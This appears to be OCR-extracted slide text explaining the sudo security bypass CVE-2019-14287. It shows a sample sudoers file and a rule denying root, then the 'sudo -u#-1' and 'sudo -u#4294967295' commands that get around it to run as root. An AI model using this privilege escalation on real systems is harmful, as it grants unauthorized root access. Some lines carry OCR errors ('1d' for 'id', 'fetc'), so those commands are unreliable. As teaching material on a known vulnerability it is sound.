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What the HUG!

Security Bypass : CVE-2019-14287

sudo root with
user ID -1 or
4294967295
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# Host alias specification
# User alias specification
# Cmnd alias specification

# User privilege specification
root ALL=(ALL:ALL) ALL

# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL

# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "#include" directives:

#includedir fetc/sudoers.d
ninja@saffron:~5%
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If /etc/sudoers security policy configuration file says:
myhost bob = (ALL, !root) /usr/bin/vi
i.e. user bob can run vi program with any user except root.

Then attacker can use:
sudo -u#-1 1d -uOR sudo -u#4294967295 id -u
commands to execute vi with root privileges.
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